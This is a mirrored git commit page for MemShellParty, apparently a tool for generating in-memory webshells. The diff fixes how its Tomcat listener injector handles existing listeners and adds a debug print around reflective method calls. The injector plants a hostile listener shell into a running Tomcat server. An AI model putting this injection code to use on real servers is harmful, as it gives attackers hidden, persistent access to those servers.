mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 07:51:52 +08:00
fix: Tomcat old listeners not work when inject listener shell (#93)
This commit is contained in:
+2
-1
@@ -94,7 +94,7 @@ public class TomcatListenerInjector {
|
|||||||
listeners.add(listener);
|
listeners.add(listener);
|
||||||
System.out.println("listener inject successful");
|
System.out.println("listener inject successful");
|
||||||
} else {
|
} else {
|
||||||
ArrayList arrayList = new ArrayList(Arrays.asList(objects));
|
List arrayList = new ArrayList(Arrays.asList(((Object[]) objects)));
|
||||||
for (Object o : arrayList) {
|
for (Object o : arrayList) {
|
||||||
if (o.getClass().getName().equals(getClassName())) {
|
if (o.getClass().getName().equals(getClassName())) {
|
||||||
System.out.println("listener already injected");
|
System.out.println("listener already injected");
|
||||||
@@ -195,6 +195,7 @@ public class TomcatListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
|
System.out.println(method.getDeclaringClass().getName() + "@" + String.valueOf(obj.hashCode()).substring(0, 4) + "." + methodName + " invoked");
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
|||||||
Reference in New Issue
Block a user